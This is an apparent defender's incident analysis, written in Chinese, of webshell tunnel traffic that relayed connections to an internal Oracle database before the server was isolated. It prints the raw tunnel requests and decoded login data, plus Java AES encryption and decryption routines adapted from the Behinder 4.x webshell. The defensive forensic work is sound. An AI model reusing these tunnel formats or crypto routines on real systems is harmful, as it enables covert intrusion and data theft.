分析流量包
首先肯定是正常放问的一个流量
会回显
<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->
和我们推测的一致
GET /ncupload/windowsConfig.jsp HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Ffydhndmhhl: JXHbGv6CTBayDJp1IL4lHwb5v9XJbF Nnpo: n7n7wqF8frH3wqtDduKB1C== Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Sbxspawzq: G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa Die: k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO Content-Type: text/html;charset=UTF-8 Content-Length: 0 Date: Wed, 27 Jul 2022 10:17:13 GMT
他发送了Ffydhndmhhl
,Nnpo
头部
3.1 动态调试
我们解码看看,因为已经有环境了,我们直接动态调试
和我们之前的代码预测一致
JXHbGv6CTBayDJp1IL4lHw b5v9XJbF
被拆分为了
cmd : b5v9XJbF
mark : JXHbGv6CTBayDJp1IL4lHw
判断我们是b5v9xjbf之后
进入if
Nnpo解密发现其首先访问了www.baidu.com 进行测试,判断是否可以出外网
也就是说 b5v9XJbF 功能使用来判断是否通着的/也可以用来访问/连接其他
我们跟随流量继续访问
GET /ncupload/windowsConfig.jsp HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQb5v9XJbF Nnpo: 15CV15aAwJQTwJa3ZXg31Jg= Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
发现是针对10.159.23.55 1521 oracle端口进行连接,因为我本机并没有业务,理所当然的回显了die
流量中回显的是开放并连接
GET /windowsConfig HTTP/1.1 Host: 127.0.0.1:8080 Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQTQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
我们继续进行追溯
这次cmd进入了 TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql
这个功能
当然因为这个函数是用来读取socket中数据的,因此我们这里也是回显报错
int bytesRead = socketChannel.read(buf);
接下来换成post数据
POST /windowsConfig HTTP/1.1 Host: 127.0.0.1:8080 Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQCtWP7tBSKiDnysT9hP9pa Content-type: application/octet-stream Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server Content-Length: 224 CszCCCkCCCCCCCtvC+gEECgEC+gUC+gg9UHY9KgtXaUllg8Zlgl95a2c+aKEEKn3dq/Vd7nVCCgyXLUllg8ZaUFyH3FE5lSc5+glUaH0YrUvYuQR1JQW15MjQXMR5rU4dRCEXCiEllHQuL3E+L8F5oaEXKSgHltwlgS+w5nO+oB3aaKCC+RQ+lla9US+9a+EEC+i1J1LCCgQ0gUllg8ZaL2gC+gE1+C=
切分后进入这个函数
CtWP7tBSKiDnysT9hP9pa
应该就是读取我们的数据
我们将值转为hex输出出来看看
00a7000006000000000003760101010401010101050101044854594b010d0d415554485f5445524d494e414c010707756e6b6e6f776e00010f0f415554485f50524f4752414d5f4e4d011515444265617665722032323f313f32203f204d61696e00010c0c415554485f4d414348494e45010f0f4445534b544f502d3746424e35514c00010808415554485f5049440104043132333400010808415554485f5349440101013100
放入winhex打开
在这段中,可以发现是连接oracle,同时使用的是DBeaver数据库管理软件,
同时记录了我们连接的机器名字(一阵后怕,这个数据库连接工具害人不浅)
AUTH_TERMINALunknown AUTH_PROGRAM_NM DBeaver 22?1?2 ? Main AUTH_MACHINE DESKTOP-7FBN5QL AUTH_PID 1234 AUTH_SID 1
已经到我们的盲区了,不过可以猜测是socket和oracle数据库的交互,参考如下博文
https://blog.csdn.net/weixin_34112181/article/details/92664231
我们可以搜索到类似的案例
跟随流量,我们继续前进
POST /windowsConfig HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQCtWP7tBSKiDnysT9hP9pa Content-type: application/octet-stream Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server Content-Length: 28 CE1CCCkCCCCCCC1GCKg0C+CEC+== GET /ncupload/windowsConfig.jsp HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQ0FX Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
lYUNaGnRS2eaUhe pfmcKQ0FX
该函数的作用就是关闭连接
接下来没有什么独特的流量,重复连接 1521业务
GET /windowsConfig HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Connection: keep-alive Ffydhndmhhl: z5PL46dnTsawEtymqkQ3VgCtWP7tBSKiDnysT9hP9pa Content-type: application/octet-stream Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server Content-Length: 339 CyCCCCgCCCCEyCg6XggRCyWW5ARCCCCECshCHRCCCC0ER+CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCQCCCQCCCCCCCC08gHltXao2+lg2y5JLh+aHgaol5aTLhaUFylgSX5LKSlgt+s98Q53tay5gKwJg3c9Bj1jB3t9ohagS9lXLit5Qis9oh+LSc5olXlUSg+lHEy98X9a+SsUE95Ln9+aLSHgF2kuY2zPCj1JMiyTQRyjEtYuH8YOULk9oh9gS5lX3Zuv4okqtZujohlcUaJLis9ohaLl9lo2XHlSc+a3Uyr8Lxr/VkvHPs9o4
流量包内容进行了一些修改,防止泄密
这个流量包解密出来是去连接数据库,使用账号密码
(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=10.0.0.0)(PORT=1521))(CONNECT_DATA=(CID=(PROGRAM=DBeaver 22?1?2 ? Metadata)(HOST=__jdbc__)(USER=1))(SERVICE_NAME=xxxxx)))
紧接着他去读取数据
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Ffydhndmhhl: z5PL46dnTsawEtymqkQ3VgTQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Sbxspawzq: CapFLueBCn2ZM Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Wed, 27 Jul 2022 10:18:56 GMT 2c C0CCCCQCCCCEcR8EQCEWWKgCCCCCQcgECCCCCCCCCCC= 0
我们尝试对他数据进行解密,我们把他密文放在读取之中,让他自己在读取一遍(借鸡下蛋)
POST /windowsConfig HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Connection: keep-alive Ffydhndmhhl: z5PL46dnTsawEtymqkQ3VgCtWP7tBSKiDnysT9hP9pa Content-type: application/octet-stream Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server Content-Length: 46 C0CCCCQCCCCEcR8EQCEWWKgCCCCCQcgECCCCCCCCCCC=
得到一些数据,猜测是 连接数据库的返回信息
IBMPC/WIN_NT64-9.1.0
在一众的数据解密中,发现了oracle的版本信息,见下
GET /ncupload/windowsConfig.jsp HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQTQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Sbxspawzq: CapFLueBCn2ZM Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Wed, 27 Jul 2022 10:18:40 GMT 124 Ct6CCCkCCCCCCCgOCg205lEXw3nF52SclXkLw5oV19BKCU+XC+kCC+E9CKU9CKgC0qkXaR1EaRtqCKU5C3QXClQXaK1ECO+CCCERC9+yE+61CKK1E++UX+kFEKRUE+aUE+MUE+aUE+hUE+aUE++UERzQ00tIQLzQg91QgaOKHK0XC3+XYK1CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCFKkEC+gtC+gOC+gEC+gECuWWCKhXCKgCZKUWWKgUC+gWC+1OCCgXC+z0C+CEOCCX 0
有一份加密比较独特,怀疑是oracle连接之后的查询
POST /ncupload/windowsConfig.jsp HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQCtWP7tBSKiDnysT9hP9pa Content-type: application/octet-stream Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server Content-Length: 3120 09+CCCkCCCCCCCFbCvzXCPoOC+CC9RgE0CgEC+gEC+C4oC1ICKCECgMEtK+ECCCCICCC09CXV+CCCRz0CCCCCCCUCCgCC+CECCCCCRC0CChCCCCQCCRCC+CCCCKCXCCsCCCCUKCuCCgCCCCkCERCC+CCCEoCO+CECCCCORCfCCgCCCCdCE6CC+CCCEKCICCECCCCI+CnCCgCCCCxCEBCC+CCCEMCIKCECCCCQCCRCCgCCCC8C0gCC+CCCChC0RCECCCC0KCwCCgCCCChC0RCC+CCC0oCs+CECCCCn+E3CCgCCCEBCIRCC+CCC9QEQRCECCCEQKgJCCgCCCgoC9+CC+CCC9aEF+CECCCEFRgqCCgCCCgpC9hCC+CCC96EsKCECCCEwCg6CCgCCCg/C9LCC+CCC9BEwRCECCCEwKgDCCgCCCgKC5CCC+CCC5gE1+CECCCE1RgjCCgCCCgTC51CC+CCC5+EtCCECCCEt+g3CCgCCCgvC5kCC+CCC5zEtKCECCCEcCgBCCgCCCgAC5oCC+CCC56EcKCECCCEyCgMCCgCCCgSC5LCC+CCC5BEyRCECCCEyKgWCCgCCCUCCaCCC+CCCagE++CECCCE+RU0CCgCCCUXCa1CC+CCCazEHKCECCCE9CUQCCgCCCUFCaoCC+CCCa6E9KCECCCE5+UtCCgCCCUcCaBCC+CCCaME5KCECCCEaCU+CCgCCCUHClgCC+CCClQEaRCECCCEaKU5CCgCCCUaCl+CC+CCClaEl+CECCCElRUrCCgCCCUuClzCC+CCClRErCCECCCEr+UYCCgCCCUfClhCC+CCClKEuCCECCCEu+UnCCgCCCUPCrQCC+CCCr1EkKCECCC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KEKCCgCCCXgCIgCC+CCC1aCzRCECCCCLCX+CCgCCCXHCCCCAKXbCCgCCCXhCczCC+CCCcoCm+CECCCCWCXMCCCCCCXiCOLCC+CCCR1CCCCC HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Sbxspawzq: CapFLueBCn2ZM Content-Type: text/html;charset=UTF-8 Content-Length: 0 Date: Wed, 27 Jul 2022 10:18:40 GMT GET /ncupload/windowsConfig.jsp HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQTQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Sbxspawzq: CapFLueBCn2ZM Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Wed, 27 Jul 2022 10:18:41 GMT 2ac 09LCCCkCCCCCCCQCC+CECCgCCCC0CCQC0RCCCCRC0CCECCCCXCC1CChCCCCuCEzCC+CCCERCOCCECCCCO+CYCCgCCCCfCEhCC+CCCE6COKCECCCCICCzCCgCCCCnCELCC+CCCEBCIRCECCCCIKCZCCgCCCCRC0CCC+CCC0gCQ+CECCCC0RCsCCgCCCCwCC6CC+CCC0RCsCCECCCCs+C4CCgCCCE3CIaCC+CCCIRCxCCECCCEQRgPCCgCCCgJC91CC+CCC9+EFCCECCCEF+g2CCgCCCgqC9kCC+CCC9hEsRCECCCEsKgeCCgCCCg6C9KCC+CCC9LEw+CECCCEwRgVCCgCCCgDC9MCC+CCC5CE1CCECCCE1+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CCCCyCEzCC+CCCECCCCCHCCCCgRCCCE1CCCCaCCCCU+CCCEkCCCCbCIRCC+CCCXhCCCEgCCQC0RCCCgaCCCEOCCCC9RCCCgKCCCEdCCQC0RCCCUBCC+CECCCCuKCuCCgCCCERCOCCC+CCCOgCkCCECCCCYCEoCCgCCCE2COaCC+CCCOkCYRCECCCCfCCCCOoCCCEpCOhCC+CCCOKCd+CECCCCd+E/CCgCCCEVCOMC 18c C+CCCOMCdKCECCCCzCEKCCgCCCEiCIgCC+CCCIQCzRCECCCCzKETCCgCCCELCOkCC+CCCIkCCCE7CCCCx+CCCIhCCCEGCCCCPCCCCFQCoRCECCCCoKCCCFRCCRCsCCCCq+C0CChCCC0fCCQC0RCCCF6CC+CECCCCbCC1CChCCC06CCQC0RCCCwQC6RCECCCC6K0TCCgCCC0LCw+CC+CCCwaC/+CECCCC/R0vCCgCCC07CwzCC+CCCwRCXCCsCCCCV+CCCwhCCC0GCCCCDCCCCwLCCC0NCCCCDKCCC1CCCCXXCICCC+CCC1+Cz+CECCCCi+EjCCgCCCX+CtCCC+CCCtgCCCXbCczCC+CCCcRCAKCECCCCm+X4CCgCCCXiCOLCC+CCCR1CCCCC 0
这份流量提供给大家,小子不才,对该流量解密始终没有头绪
在后续流量中呢,有一些可以解密的,
包括执行oracle之后,有一些时间回显
如下是该回显的发送流量
AUTH_PASSWORD@@B6 AUTH_TERMINALunknown AUTH_SESSKEY``29342770E5CAUTH_PROGRAM_NMDBeaver 22?1?2 ? Metadata AUTH_MACHINEDESKTOP-7FBN5QL AUTH_ALTER_SESSIONddALTER SESSION SET TIME_ZONE='Asia/Shanghai' NLS_LANGUAGE='SIMPLIFIED CHINESE' NLS_TERRITORY='CHINA'
最后在读取了我们22年至21年的数据之后,我们将服务器进行了隔离,整个攻击也戛然而止
Behinder 4.x
我们根据第一篇,第二篇他木马的样本
修改了冰蝎4.0系列的加解密
加密
private String parseByte2HexStr(String buf) throws Exception { StringBuilder sb = new StringBuilder(); char[] enChar = buf.toCharArray(); for (int i=0; i<enChar.length; i++) { char c = enChar[i]; sb.append(Integer.toHexString(c)); } return sb.toString(); } private byte[] base64Decode(String str) { byte[] value = null; try { Class base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{str.getBytes()}); } catch (Exception exception) { try { Class base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{str}); } catch (Exception exception1) { } } return value; } private byte[] Encrypt(byte[] data) throws Exception { javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q=="), "AES"); javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES");// "算法/模式/补码方式" cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec); byte[] encrypted = cipher.doFinal(data); Class baseCls; String x; try { baseCls=Class.forName("java.util.Base64"); Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null); encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted}); x = parseByte2HexStr(new String(encrypted)); } catch (Throwable error) { baseCls=Class.forName("sun.misc.BASE64Encoder"); Object Encoder=baseCls.newInstance(); String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted}); result=result.replace("\n", "").replace("\r", ""); x = parseByte2HexStr(result); } return x.getBytes(); }
解密
private byte[] base64Decode(String str) { byte[] value = null; try { Class base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{str.getBytes()}); } catch (Exception exception) { try { Class base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{str}); } catch (Exception exception1) {} } return value; } private byte[] Decrypt(byte[] data) throws Exception { String contentString = new String(data, "UTF-8"); StringBuilder deStr = new StringBuilder(); for(int i=0; i < contentString.length(); i=i+2){ String str2 = contentString.substring(i,i+2); char char2 = (char)(Integer.parseInt(str2, 16)); deStr.append(char2); } javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES"); c.init(javax.crypto.Cipher.DECRYPT_MODE, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q=="),"AES")); return c.doFinal(base64Decode(deStr.toString())); }
总结
在这次骑马与砍杀之中,以我们的完败作为结束,既在意料之外,又在情理之中。
攻防博弈本是逆天而行,面对潮水般的攻击,需要针对性的对每一份流量进行解密,又谈何容易。
这次攻击队的攻击速度,攻击质量都刷新了我对rt的概念,用这份分析来告慰数据的在天之灵(QAQ)。